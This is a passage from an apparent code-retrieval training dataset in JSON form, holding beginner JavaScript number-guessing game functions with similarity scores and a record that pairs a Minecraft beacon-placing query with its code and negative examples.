\\\")\\n\\t\\t}\\n\\n\\t\\telse {\\n\\t\\t\\tvar winStatus;\\n\\t\\t\\tif (winningNumber === playersGuess) {\\n\\t \\t\\twinStatus = \\\"VICTORY\\\"; \\n \\t\\t}\\n \\t\\telse {\\n \\t\\t\\twinStatus = \\\"Sorrow and Defeat\\\";\\n \\t\\t}\\n \\t\\tgameOver(winStatus);\\n\\t\\t}\\n }\",\n \"function setHiddenFields() {\\n\\n answer.value = (Math.floor((Math.random() * 10000))).toString();\\n while (answer.value.length < 4) {\\n answer.value = '0' + answer.value;\\n }\\n attempt.value = 0\\n\\n\\n console.log('set ' + answer.value + ' - ' + (answer.value).length);\\n ///Math.floor(Math.random()*1000,4);\\n //add functionality to guess function here\\n}\",\n \"function checkGuess(){ \\n\\t//var guessesRemaining = 5;\\n\\tif (isNaN(playersGuess) || playersGuess < 1 || playersGuess > 100) { // NaN, less than one, greater than 100\\n\\t\\t$(\\\"#updates\\\").text(\\\"Invalid entry, try again\\\");\\n\\t} else {\\n\\t\\tif (playersGuess === winningNumber) {\\n\\t\\t\\tyouWin();\\n\\t\\t} else { \\n\\t\\t\\tif (guessArray.indexOf(playersGuess) !== -1) { // check if players guess is duplicate \\n\\t\\t\\t\\t$(\\\"#updates\\\").text(\\\"You entered \\\" + playersGuess + \\\" already, guess again\\\"); \\n\\t\\t\\t} else {\\n\\t\\t\\t\\tnumGuesses++; // increment guesses\\n\\t\\t\\t\\tguessesRemaining--; // decrement guesses remaining\\n\\t\\t\\t\\t$(\\\"p\\\").append(\\\"p\\\").text(\\\"You have \\\" + guessesRemaining + \\\" guesses left.\\\"); //remaining guesses countdown\\n\\t\\t\\t\\tguessArray.push(playersGuess); // add guesses to array\\n\\t\\t\\t\\tguessMessage(); \\n\\t\\t\\t\\tif (numGuesses >= 5) {\\n\\t\\t\\t\\t\\tgameOver();\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"function playgame() {\\n // generates a random number\\n let ranNum = Math.floor(Math.random() * maxNum) + minNum;\\n\\n // alerts the min and max \\n alert(\\\"I'm thinking of a number between \\\" + minNum + ' and ' + maxNum)\\n\\n //define the variable\\n let guess = 0\\n\\n\\n // runs game \\n while (guess != maxTries) {\\n // add one to the their the guesses so that the loop stops at 3\\n guess += 1\\n //ask user for their guess \\n let userNumber = prompt('guess a number')\\n //convert user input to a number\\n userNumber = Number(userNumber)\\n\\n //checks the answer \\n if (userNumber >= minNum && userNumber <= maxNum) {\\n\\n if (userNumber == ranNum) {\\n guess = maxTries\\n alert('that is correct')\\n\\n } else {\\n alert('that is incorrect')\\n }\\n\\n } else {\\n alert('error:inavild')\\n }\\n\\n }\\n}\",\n \"function checkPlayerGuess() {\\n if (!isPlayerWon && !isComputerWon) {\\n if (inputLengthLarger()) {\\n setTimeout(limitInputLength, 50);\\n }\\n let secret = playerGuess.value.toUpperCase().substring(0, 5);\\n if (secret !== computerBase) {\\n messageStatus = 'Wrong Word. Try another guess!';\\n message.style.color = wrongColor;\\n }\\n } else {\\n messageStatus = isComputerWon\\n ? `Computer wins in ${count} turns`\\n : `Human wins in ${count} turns`;\\n message.style.color = rightColor;\\n }\\n}\",\n \"function checkUserGuess() {\\n\\tvar userGuess = parseInt($(\\\"#userGuess\\\").val()),\\n\\ttheDifference = Math.abs(newGameNumber - userGuess);\\n\\t\\n\\t\\n\\t\\n\\n\\taddToList(userGuess);\\n\\n\\tif (theDifference === 0)\\n\\t\\twrite(\\\"You Got It!\\\");\\n\\telse if (theDifference <= 10)\\n\\t\\twrite(\\\"On Fire\\\");\\n\\telse if (theDifference <= 25)\\n\\t\\twrite(\\\"Hotter\\\");\\n\\telse if (theDifference <= 50)\\n\\t\\twrite(\\\"Warm\\\");\\n\\telse if (theDifference <= 75)\\n\\t\\twrite(\\\"Cold\\\");\\n\\telse if (theDifference <= 100)\\n\\t\\twrite(\\\"Freezing\\\");\\n\\t\\n\\t\\n}\",\n \"function startGame(){\\n //generate random number by calling function and store it in variable\\n randomNumber = generateRandomNumber(parseInt(maximumNumber));\\n //generating random number for the number of guesses allowed;\\n numberOfGuessesAllowed = Math.floor(Math.random() * 20) + 5;\\n //calling function that will scroll the viewport to the game area\\n scrollToGameScreen();\\n //calling function that displays the message that prompts the user to guess the values\\n displayMessageToPromptUserToGuessWithAnimation();\\n //calling function that displays the input text field\\n displayAnswerInputFieldWithAnimation();\\n //calling function that displays the answer button\\n displayAnswerButtonWithAnimation();\\n }\",\n \"function inputGuess() {\\n var currentGuess = \\\"000\\\";\\n\\tvar currentGuessArray = [];\\n\\tvar exactPlace = 0;\\n var wrongPlace = 0;\\n // Get the value of the input field with id=\\\"guessEntered\\\"\\n currentGuess = pad(document.getElementById(\\\"guessEntered\\\").value,3);\\n\\t// Make current guess into array\\n\\tcurrentGuessArray = currentGuess.split(\\\"\\\");\\n // Add the current guess to the end of the array of guesses\\n\\tarrayOfGuesses.push(currentGuess);\\n\\t// Calculate number of matches in exact place\\n\\texactPlace = (Number(combination[0] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[1]) + Number(combination[2] == currentGuessArray[2]));\\n\\twrongPlace = (Number(combination[0] == currentGuessArray[1]) + Number(combination[0] == currentGuessArray[2]) + Number(combination[1] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[2]) + Number(combination[2] == currentGuessArray[0]) + Number(combination[2] == currentGuessArray[1]));\\n\\t\\n\\t// If currentGuess is equal to the Target Number, end with Win else provide stats or end with Lose.\\t\\n switch(Number(currentGuess == combination) * 2 + \\n\\t\\t(Number(guessesRemain != 1))) {\\n case 0:\\n\\t\\t\\tguessesRemain--;\\n\\t\\t\\tguessListText = currentGuess.concat(\\\" \\\", \\\"\\\", exactPlace, \\\" \\\", wrongPlace, \\\"\\\", guessListText);\\n\\t\\t\\tdocument.getElementById(\\\"response\\\").innerHTML = \\\"Sorry, you're out of guesses. The combination was \\\" + combination + \\\". Please refresh the page to try a new game.\\\";\\n\\t\\t\\tdocument.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t guessesRemain--;\\n guessListText = currentGuess.concat(\\\" \\\", \\\"\\\", exactPlace, \\\" \\\", wrongPlace, \\\"
\\\", guessListText);\\n\\t document.getElementById(\\\"response\\\").innerHTML = \\\"Try again.\\\";\\n document.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\tcase 3:\\n guessesRemain--;\\n\\t\\t\\tguessListText = currentGuess.concat(\\\" \\\", \\\"\\\", exactPlace, \\\" \\\", wrongPlace, \\\"
\\\", guessListText);\\n\\t\\t\\tdocument.getElementById(\\\"response\\\").innerHTML = \\\"You guessed it!\\\";\\n\\t\\t\\tdocument.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tdefault:\\n\\t\\t document.getElementById(\\\"response\\\").innerHTML = \\\"Wow. Something weird happened. Please notify the game designer.\\\";\\n\\t\\t\\tbreak;\\n\\t}\\n\\tdocument.getElementById(\\\"remaining\\\").innerHTML = \\\"Guesses remaining: \\\" + guessesRemain;\\n}\",\n \"function PromptNumber(max_value) {\\n\\t// variables created inside of a function aren't available outside of it.\\n\\t// If you reuse a variable name from the global scope, only the locally defined\\n\\t// version will be available here.\\n\\t// It is best to keep global variables to a minimum and only use global variables when necessary.\\n\\tlet text, num;\\n\\t\\n\\t// Here we have a REPEAT UNTIL loop. The program will always go through the loop at least once.\\n\\t// We say that it is a bottom tested loop as it checks to see if it should loop at the bottom of the block.\\n\\tdo {\\n\\t\\t// parseInt will change a string into a number.\\n\\t\\ttext = prompt('What is your guess?');\\n\\t\\tnum = parseInt(text);\\n\\t\\t\\n\\t\\tif (isNaN(num)) {\\n\\t\\t\\t// If you pass in something that isn't a number to parseInt, it \\n\\t\\t\\t// returns a special Not a Number code. If we got that just change\\n\\t\\t\\t// it to zero. We will use isNaN to detect a number parse error.\\n\\t\\t\\tnum = 0;\\n\\t\\t\\talert('\\\"' + text + '\\\" is not a number. Try again.');\\n\\t\\t}\\n\\t\\telse if (num < 1) {\\n\\t\\t\\talert(num.toString() + ' is too small for the given range. Try again.');\\n\\t\\t}\\n\\t\\telse if (num > max_value) {\\n\\t\\t\\talert(num.toString() + ' is too large for the given range. Try again.');\\n\\t\\t}\\t\\t\\n\\t}\\n\\twhile (num < 1 || num > max_value)\\n\\t// && is the boolean and operator. It will be true when both checks are true and false otherwise.\\n\\t// || is the boolean or operator. It will be true when either check is true, and only false if both checks are.\\n\\t\\n\\t\\n\\t// To return a value back to the caller use the return statement. \\n\\treturn num;\\n}\",\n \"function question6 (){\\n\\n var actualRetries = Math.floor(Math.random() * 10) + 1;\\n console.log('Actual number of retries: ' + actualRetries);\\n\\n var el = document.getElementById('random-number');\\n el.textContent = actualRetries;\\n\\n var guessedRetries = 0;\\n var correctGuess = false;\\n var numberOfGuesses = 0;\\n\\n //The initial prompt is kept separate from the follow up question to be more interactive\\n\\n guessedRetries = prompt('Can you guess the number of my retries to get all answers on the course quiz right? Please be courteous and limit your response to a number between 1 and 10.');\\n\\n while (numberOfGuesses < 4){\\n console.log('Number of retries guessed: ' + guessedRetries);\\n if (actualRetries < guessedRetries){\\n guessedRetries = prompt('Number is lower than your guess. Try again!');\\n } else if (actualRetries > guessedRetries){\\n guessedRetries = prompt('Number is higher than your guess. Try again!');\\n } else {\\n correctGuess = true;\\n break;\\n }\\n numberOfGuesses++;\\n }\\n\\n //Keep track of number ofright answers. Set the alert message depending on the outcomme\\n\\n if (!correctGuess){\\n alert('Sorry, you have exhausted the number of tries.');\\n } else{\\n alert('Awesome, you got it!');\\n numberOfRightAnswers++;\\n }\\n\\n}\",\n \"function checkGuess(playersGuess){\\n\\t//If the number hasn't already been tried, check to see if it is the winning number\\n if (numbersTried.indexOf(playersGuess) == -1) {\\n //If it is a winning number\\n if(winningNumber==playersGuess) {\\n $('.feedback').text(\\\"You won!\\\");\\n $('.remaining').text(\\\"Congratulations!\\\")\\n playerWon();\\n }\\n //If it is not a winning number, add it to array of tried numbers, and increment guesses \\n else {\\n $('.feedback').text(lowerOrHigher(winningNumber, playersGuess));\\n\\n numbersTried.push(playersGuess);\\n //Have not given a hint for the current step\\n hintNotGiven = true;\\n\\n guesses--;\\n\\n //Message to be printed for number of guesses remaining, and also determining if the user lost\\n if (guesses > 1) {\\n $('.remaining').text(guesses + \\\" Guesses remaining! Make it count!\\\")\\n } else if (guesses == 1) {\\n $('.remaining').text(guesses + \\\" Guess remaining! Make it count!\\\")\\n } else {\\n $('.feedback').text(\\\"You lost. Play again?\\\");\\n $('.remaining').text(\\\"Game Over\\\")\\n playerLost();\\n };\\n };\\n} \\n //If the user has already guessed this number\\n else {\\n $('.feedback').text(\\\"You have already guessed this number\\\");\\n};\\n\\n}\",\n \"function checkNumGuess() {\\n\\tif(guesses === 0) {\\n\\t\\talert(\\\"Sorry, you couldn't guess the word. Game Over!\\\");\\n\\t}\\n}\",\n \"function checkGuess(){\\n\\tif (playersGuess === winningNumber) {\\n\\t\\tmoveSection();\\n\\t\\tchangeAnn(\\\"YOU WIN!\\\")\\n\\t\\tfaceDance();\\n\\n\\t} else {\\n\\t\\tif (arrayOfGuesses.includes(playersGuess)) {\\n\\t\\t\\t$('#announcement').fadeOut('fast');\\t\\n\\t\\t\\tchangeAnn(\\\"You already guessed that number\\\");\\n\\t\\t} else {\\n\\t\\t\\tarrayOfGuesses.push(playersGuess);\\n\\t\\t\\tif (arrayOfGuesses.length === 5){\\n\\t\\t\\t\\tchangeAnn(\\\"Game Over!\\\");\\n\\t\\t\\t\\t$('#tryAgain').css('background', 'red');\\n\\t\\t\\t\\tconsole.log(arrayOfGuesses);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlowerOrHigher();\\n\\t\\t\\t\\tfaceWag();\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"function randomGuess(num){\\n\\tnotGuessed = true;\\n\\tvar counter = 0;\\n\\twhile(notGuessed){\\n\\t\\tcounter++;\\n\\t\\tvar rand = Math.random() * array.length;\\n\\t\\tif(array[rand] == num){\\n\\t\\t\\tnotGuessed = false;\\n\\t\\t}\\n\\t}\\n\\treturn counter;\\n}\",\n \"function guess() {\\n\\t\\tvar guessClick = $(this).text();\\n\\t\\t// console.log(guessClick + \\\" was clicked\\\");\\n\\n\\t\\tif (guessClick === correctAnswer) {\\n\\t\\t\\tcorrectGuess();\\n\\t\\t} else {\\n\\t\\t\\tincorrectGuess();\\n\\t\\t}\\n\\t}\",\n \"function questionSix(){\\n var myNum = 7;\\n var turns = 4;\\n\\n\\n var guess = parseInt(prompt('Hi! Do you think you can guess my favorite number? You have 4 attempts'));\\n do{\\n if (guess > myNum){\\n turns--;\\n alert('Too high, try again. You have ' + turns + ' remaining');\\n guess = parseInt(prompt ('What is my number?'));\\n } if (guess < myNum){\\n turns--;\\n alert('Too low, try again. You have ' + turns + ' remaining');\\n guess =parseInt(prompt ('What is my number?'));\\n } if (turns < 1) {\\n alert('Hey ' + name + '! I said you were out of turns!');\\n } if (guess === myNum){\\n alert('OMG! You are right!');\\n score++;\\n }\\n }\\n while (guess !== myNum && turns >= 1);\\n\\n}\",\n \"function askIfPlayerWantsToPlay() {\\n if (roundCount == 10) {\\n alert(\\\"Sorry your turns are up\\\");\\n } else {\\n let tryAgain = prompt('You can try up to 10 times. Would you like to try to guess a number. Type \\\"yes\\\" or \\\"no\\\"');\\n alert(tryAgain);\\n if (tryAgain == \\\"no\\\") {\\n alert(\\\"Quitting so soon? roundCount \\\" + roundCount);\\n return;\\n } else if (tryAgain != \\\"yes\\\") {\\n alert('Please enter \\\"yes\\\" or \\\"no\\\"');\\n } else {\\n alert(\\\"Good Luck!\\\");\\n }\\n roundCount = roundCount++;\\n validateUserInputIsNumber();\\n }\\n\\n}\",\n \"function fullGuessNumber(){\\n var userGuessNumber =prompt('Guess a number between 1-20, you\\\\'ll have 4 chances with this being your first :)');\\n var attemptTries;\\n // using parseInt() will turn whatever into a number or using Number()\\n\\n\\n for(attemptTries = 0;attemptTries<4;attemptTries++){\\n var userGuessedThisNumber = parseInt(userGuessNumber);\\n if(attemptTries===3){\\n userGuessNumber = prompt('Last chance! tip: it\\\\'s between 9 and 12 hehe');\\n userGuessedThisNumber= parseInt(userGuessNumber);\\n if(userGuessedThisNumber=== 11){\\n alert('Wow you guessed it! Nice job!');\\n userScore++;\\n break;\\n }else{\\n alert('You failed all guesses,it was 11. oh well');\\n break;\\n }\\n }\\n if(userGuessedThisNumber === 11){\\n alert('Wow you guessed it. Nice job!');\\n userScore;\\n break;\\n }else if(userGuessedThisNumber< 11){\\n userGuessNumber= prompt('Wrong Answer! A bit low try, again! Guess a number between 1-20');\\n } else if(userGuessedThisNumber> 11){\\n userGuessNumber= prompt('Wrong answer! A bit high, try again.Guess a number between 1-20');\\n }else{\\n userGuessNumber=prompt('Hey please put a correct choice, a number between 1-20! this counts as wrong. Try again.Guess a number between 1-20');\\n\\n }\\n\\n\\n }\\n}\",\n \"function isMatches(window) {\\n var userNumber = window.prompt(\\\"Please enter a number between 1 to 10\\\", \\\"1\\\");\\n var randomNumber = Math.floor(Math.random() * 10 + 1);\\n var result;\\n\\n userNumber = parseInt(userNumber);\\n\\n if (userNumber === randomNumber) {\\n result = \\\"Good Work\\\";\\n } else {\\n result = \\\"Not matched\\\";\\n }\\n\\n return result;\\n}\",\n \"function newGame(){\\n\\t\\tsecretNumber = Math.floor(Math.random()*100) + 1; //Gernerates #\\n\\t\\t//console.log('secretNumber', secretNumber); shows secret number in console.\\n\\n\\t\\tcounter = 0;\\n\\t\\tdisplay.innerHTML = counter;\\n\\n\\t\\t$('.guessBox').html(''); //resets html and results\\n\\n\\t\\tdocument.getElementById('feedback').innerHTML = \\\"Make Your Guess!\\\";\\n\\n\\t}\",\n \"function compareAndInform() {\\n var resultSection = document.querySelector('.response');\\n if (inputAsNumber() > max ) {\\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\\n } else if (inputAsNumber() < min) {\\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\\n } else if (inputAsNumber() < randomNumber) {\\n resultSection.innerText = \\\"That is too low\\\";\\n } else if (inputAsNumber() > randomNumber) {\\n resultSection.innerText = \\\"That is too high\\\";\\n } else if (inputAsNumber() === randomNumber) {\\n resultSection.innerText = \\\"You guessed it!\\\"\\n increaseValueOnWin();\\n console.log(randomNumber);\\n } else {\\n resultSection.innerText = `You need to guess a NUMBER between ${min} and ${max}`;\\n }\\n}\",\n \"function hint()\\n{ // Begin hint\\n // a) Store the input value in the following variable.\\n //REMEMBER, you will need casting as input values are\\n //always strings\\n guess = Number(input.value);\\n\\n // d) Compare guess to current number\\n if( guess < currentNumber)\\n { // if guess is less than currentNumber\\n // e) Set the message text to say '{guess} is lower\\n //than the secret number.' using string interpolation (templates)\\n message.textContent = `${guess} is lower than the secret number.`;\\n }\\n else\\n { // otherwise...\\n // f) Set the message text to say '{guess} is higher than the secret number.' using string interpolation (templates)\\n message.textContent = `${guess} is higher than the secret number.`;\\n }\\n\\n // TAKE IT FURTHER: Don't keep this if it doesn't work!)\\n // tf a) Using the math absolute function, find the difference\\n // between the guess and the current number\\n diff = Math.abs(guess - currentNumber);\\n\\n // tf b) Create a for loop that starts at 0, checks to see if\\n //it's less than 100, and increments by 10\\n for(var i=0; i<100; i+=10)\\n { // Begin loop\\n // tf c) if the diff is less than your loop initializer\\n //variable (usually it's i) AND diff is NOT less than 5\\n if(diff < i && diff > 5)\\n { // if diff...\\n // tf d) Set message with the following test:\\n // `\\\\nYou are within ${i} of the secret number.`\\n message.textContent = `\\\\nYou are within ${i} of the secret number.`;\\n // tf e) Exit the loop if this condition is true\\n break;\\n } // ...end if\\n } // End loop\\n\\n // tf f) If diff is less than 5\\n if(diff < 5)\\n { // Begin if\\n // g) Append to the message text:\\n // `\\\\nYou are within 5 of the secret number.`\\n message.textContent += `\\\\nYou are within 5 of the secret number.`;\\n } // End if\\n // END OF TAKE IT FURTHER\\n} // End hint\",\n \"function makeGuess(num){\\n let min = 1\\n let max = 5\\n\\n return num === (Math.floor(Math.random() * (max - min + 1)) + min)\\n}\",\n \"function computerguess(Answer) {\\n\\n if (Answer === 'C') {\\n say('Your number was ' + guessedNumber + '!\\\\n I guessed it in ' + amoutOfGuesses + ' tries.');\\n\\n } else {\\n\\n\\n if (Answer === 'H') {\\n firstArg = guessedNumber + 1\\n amoutOfGuesses++;\\n }\\n if (Answer === 'L') {\\n secondArg = guessedNumber - 1\\n amoutOfGuesses++;\\n }\\n guessedNumber = getRandom(firstArg, secondArg);\\n if (firstArg > secondArg) {\\n say('I think you are trying to cheat.');\\n startGame()\\n }\\n say('Is ' + guessedNumber + ' your number?');\\n }\\n}\",\n \"function newgame(){\\n \\t\\tanwser = Math.floor((Math.random() * 100) + 1);\\n\\t\\tcount = 0;\\n\\t\\t$('#count').text(count);\\n\\t\\t$('#feedback').text('Make your Guess!');\\n\\t\\tguesses = [];\\n\\t\\t$('#guessList').children().hide();\\n\\t}\"\n]"},"negative_scores":{"kind":"list like","value":["0.79177094","0.7891137","0.7750411","0.7650739","0.7627652","0.7563111","0.754357","0.75278264","0.7454332","0.74457943","0.7437742","0.7436417","0.74299675","0.742554","0.74173","0.7388835","0.738245","0.7381374","0.73766744","0.7343955","0.73307776","0.73286986","0.73224187","0.7311054","0.7291837","0.72886086","0.72839445","0.72775316","0.72700065","0.72294277","0.721952","0.7214035","0.72095317","0.71815735","0.7171161","0.7167147","0.71575004","0.71520954","0.7151983","0.7112796","0.7108996","0.7099386","0.70870835","0.7073245","0.70555186","0.70498013","0.7047332","0.7041257","0.7039411","0.7038683","0.7037974","0.7037932","0.70373553","0.703394","0.7023878","0.7006472","0.7005588","0.7001845","0.6997528","0.69942355","0.6992071","0.699187","0.6985437","0.69763315","0.6972782","0.6972701","0.695206","0.6939995","0.6925095","0.6922947","0.6914909","0.6908768","0.6906665","0.69047225","0.6896488","0.68886256","0.68869036","0.6884871","0.6884611","0.6881124","0.6879684","0.68789464","0.6874477","0.68733716","0.6868224","0.6866971","0.6866567","0.68595093","0.68377954","0.68254346","0.68226","0.68202996","0.68193674","0.6815948","0.68158436","0.68157315","0.6813363","0.6803754","0.679871","0.67968786"],"string":"[\n \"0.79177094\",\n \"0.7891137\",\n \"0.7750411\",\n \"0.7650739\",\n \"0.7627652\",\n \"0.7563111\",\n \"0.754357\",\n \"0.75278264\",\n \"0.7454332\",\n \"0.74457943\",\n \"0.7437742\",\n \"0.7436417\",\n \"0.74299675\",\n \"0.742554\",\n \"0.74173\",\n \"0.7388835\",\n \"0.738245\",\n \"0.7381374\",\n \"0.73766744\",\n \"0.7343955\",\n \"0.73307776\",\n \"0.73286986\",\n \"0.73224187\",\n \"0.7311054\",\n \"0.7291837\",\n \"0.72886086\",\n \"0.72839445\",\n \"0.72775316\",\n \"0.72700065\",\n \"0.72294277\",\n \"0.721952\",\n \"0.7214035\",\n \"0.72095317\",\n \"0.71815735\",\n \"0.7171161\",\n \"0.7167147\",\n \"0.71575004\",\n \"0.71520954\",\n \"0.7151983\",\n \"0.7112796\",\n \"0.7108996\",\n \"0.7099386\",\n \"0.70870835\",\n \"0.7073245\",\n \"0.70555186\",\n \"0.70498013\",\n \"0.7047332\",\n \"0.7041257\",\n \"0.7039411\",\n \"0.7038683\",\n \"0.7037974\",\n \"0.7037932\",\n \"0.70373553\",\n \"0.703394\",\n \"0.7023878\",\n \"0.7006472\",\n \"0.7005588\",\n \"0.7001845\",\n \"0.6997528\",\n \"0.69942355\",\n \"0.6992071\",\n \"0.699187\",\n \"0.6985437\",\n \"0.69763315\",\n \"0.6972782\",\n \"0.6972701\",\n \"0.695206\",\n \"0.6939995\",\n \"0.6925095\",\n \"0.6922947\",\n \"0.6914909\",\n \"0.6908768\",\n \"0.6906665\",\n \"0.69047225\",\n \"0.6896488\",\n \"0.68886256\",\n \"0.68869036\",\n \"0.6884871\",\n \"0.6884611\",\n \"0.6881124\",\n \"0.6879684\",\n \"0.68789464\",\n \"0.6874477\",\n \"0.68733716\",\n \"0.6868224\",\n \"0.6866971\",\n \"0.6866567\",\n \"0.68595093\",\n \"0.68377954\",\n \"0.68254346\",\n \"0.68226\",\n \"0.68202996\",\n \"0.68193674\",\n \"0.6815948\",\n \"0.68158436\",\n \"0.68157315\",\n \"0.6813363\",\n \"0.6803754\",\n \"0.679871\",\n \"0.67968786\"\n]"},"document_score":{"kind":"string","value":"0.6890487"},"document_rank":{"kind":"string","value":"75"}}},{"rowIdx":10,"cells":{"query":{"kind":"string","value":"There are two things needed to place a beacon: the position and a name TO DO: name will have to be unique. At this point, if there are two entries with the same name, it will return the first it finds (a) position: currently, the position is the PLAYER'S position when player places the marker block, so use 'self.position' (b) name: enter a name in quotation marks, like \"beacon1\" or \"pool\""},"document":{"kind":"string","value":"function beacon(me, beaconName){\r\n\r\n //we place a marker at the position we want:\r\n\r\n box(blocks.beacon,1,2,1);\r\n\r\n //In the next lines, we build the beacon object:\t\r\n\r\n var loc = me.getLocation();\r\n\r\n //the next line appends the beacon's name to the array that contains only the tag key (the name the player gives to the beacon) \r\n beaconNameArray.push(beaconName);\r\n\r\n //the position is returned as an object which has coordinates as properties (keys). We are extracting the properties x, y and z\r\n //and puting them in an array whic we call locx. Since I want the numbers to be easy to read, and extreme precision is not \r\n //important for this plugin, I also round the numbers\t\r\n var locx = [Math.round(loc.getX()),Math.round(loc.getY()),Math.round(loc.getZ())];\r\n\r\n //The beacon object is then assembled and appended to the beaconArray array\r\n var beaconObj = {tag: beaconName, position: locx};\r\n beaconArray.push(beaconObj);\r\n\r\n //finally, we display the result to the player, showing the name of the beacon and its coordinates.\r\n //TO DO: TAB list of beacons' names\r\n echo('You are at ' + beaconName + ' at position ' + locx[0] + \", \" + locx[1] + \", \" + locx[2]);\r\n /*\t\r\n these were used to debug:\r\n echo(beaconObj.tag + beaconObj.position);\r\n echo(beaconArray.length);\r\n echo(beaconArray[0]);\r\n echo(beaconNameArray[0]);\r\n */\t\r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function getNewdidFromPos(position) {\n\t//flag ( \"getNewdidFromPos():: Started! Called for position: \" + position );\n\t//a=GM_getValue(myacc())\n\tvar allVillagePos = GM_getValue(myacc() + \"_allVillagePos2\").split(\",\");\n\t//flag ( \"getNewdidFromPos: allVillagePos=\"+allVillagePos+\";\");\n\tfor (var i = 0; i < allVillagePos.length; i++) {\n\t\tvar tt = allVillagePos[i].split(\":\");\n\t\tif ( tt[1] == position) {\n\t\t\treturn tt[0];\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn null;\n}","function findBeacons() {\n\tvar room = \"\";\n\t/*[] values;\n\tfor(var i=0;i>10;i++) {*/\n\t\tBeacon.rangeForBeacons(\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\")\n\t\t.then(function(beacons_found) {\n\t\t // $(\"#beacon-list\").empty();\n\t\t var maxRSSI = 100;\n\t\t for(beaconIndex in beacons_found) {\n\t\t var beacon = beacons_found[beaconIndex]; \n\t\t /* var beaconDiv = $(\"\").html(\"Major: \" + beacon.major + \n\t\t \"; Minor: \" + beacon.minor + \n\t\t \"; RSSI: \" + (beacon.rssi*-1));\n\t\t\n\t\t $(\"#beacon-list\").append(beaconDiv);*/\n\t\t if(beacon.rssi*-1 < maxRSSI) {\n\t\t \t room = getRoomName(beacon.minor);\n\t\t \t maxRSSI = beacon.rssi*-1;\n\t\t }\n\t\t }\n\t\t $(\"#myLocation\").text(/*\"Ole Johan Dahls Hus\" + */room);\n\t\t if(room == \"\") {\n\t\t\t setOffline();\n\t\t }\n\t\t newLocation(room);\n\t\t})\n\t\t.fail(function() {\n\t\t alert(\"failed serching for beacons!\");\n\t\t setOffline();\n\t\t});\n\t//}\n}","function searchObject(type){\n\tvar target;\n console.log(\"123\");\n\tif(type==\"beacon\"){\n\t\t target=beaconMap[document.getElementById('beaconSearch').value];\n\t}else{\n\t\t target=reporterMap[document.getElementById('reporterSearch').value];\n console.log(target);\n\t}\n\t toggleBounce(target.marker);\n map.panTo(target.getPosi(),3000);\n if(map.getZoom()<17){\n\t map.setZoom(17);\n\t}\n var date = new Date(target.time*1000);\n\t\n document.getElementById(\"beaconInfo\").innerHTML=\"
Loggy: \"+target.mac+\"
\"+\"Latitude: \"+target.lat+\"
\"+\"Longitude: \"+target.lng+\"
Last Update: \"+date.getFullYear()+\"-\"+(date.getMonth()+1)+\"-\"+date.getDate()+\" \"+date.getHours()+\":\"+date.getMinutes()+\":\"+date.getSeconds()+\"
${playerName}'s last 3 matches`);\n\tgetRecentMatches(playerId, getMatchList);\n}","function positionOf(symb, someBoard, player) {\n\n\t//print_board(someBoard);\n\n\tvar tempSq = {};\n\n\tfor ( var a = 0; a <= 11; a++) {\n\t\tfor (var b = 0; b <= 11; b++) {\n\n\t\t\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\n\n\t\t\t\ttempSq.row = a;\n\t\t\t\ttempSq.col = b;\n\t\t\t\treturn tempSq;\n\t\t\t}\n\t\t}\n\t}\n\n}","function findMarkerIndex(name) {\n //name 'SFO - San Fr...'\n return markers.findIndex(function (m) {\n return m.title === name;\n });\n}","createPlayer() {\n let startWithBob = true;\n this.map.findObject('Player', (obj) => {\n if (obj.type === 'StartPosition') {\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\n if (obj.name === 'Bob') {\n this.bob = new Bob(this, obj.x, obj.y);\n this.bob.depth = 100;\n this.game.Bob = this.bob;\n }\n if (obj.name === 'Flit') {\n this.flit = new Flit(this, obj.x, obj.y);\n this.flit.depth = 100;\n this.game.Flit = this.flit;\n }\n }\n });\n\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\n this.cameras.main.startFollow(this.ActivePlayer);\n }","getNewPosition() {\r\n this.newPosition = this.positionRandom();\r\n // Cree une fonction qui test avec marge les nouvelle position des bombs\r\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \r\n return this.newPosition;\r\n }","function prepEventMarker(){\n\tvar eventDetails = getEventData();\n\tvar location = eventDetails[0];\n\tvar title = eventDetails[1];\n\n\t//We need to be careful with the location. When we store it, the location name usually comes before the address\n\t//ie Vancouver Pizza: 225 Main St.\n\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\n\tif(locationSplit.length>1){ //The name was in there\n\t\tlocation = locationSplit[1]; //Set the location to just the address\n\t}\n\n\tconsole.log('Initing with: Title: ' + title + \" Loc: \" + location);\n\tinitEventData(title, location);\n}","function winnerName() {\n if(winnerAddress === myAddress) {\n return \"Me\";\n }\n if(winnerAddress === oppAddress) {\n return \"Opponent\";\n }\n }","function place(name, address, road){\n this.name = name;\n this.address = address;\n this.road = road;\n console.log(`${this.name} ${this.address} ${this.road}`);\n if (this.name == 'ctg'){\n this.name = 'Chittagong';\n }\n console.log(`${this.name} ${this.address} ${this.road}`);\n}","function reportPosition() {\n var p = distanceWidget.get('position'),\n d = distanceWidget.get('distance'),\n name = $('input[name=name]');\n \n socket.send(JSON.stringify({\n 'action': 'update position',\n 'lat': p.lat(), \n 'lng': p.lng(), \n 'distance': d, \n 'name': name.val() \n }));\n}","function mainMarker(x,y,name,i) {\n \n \n var marker = new google.maps.Marker({\n position: {lat: x, lng: y},\n map: 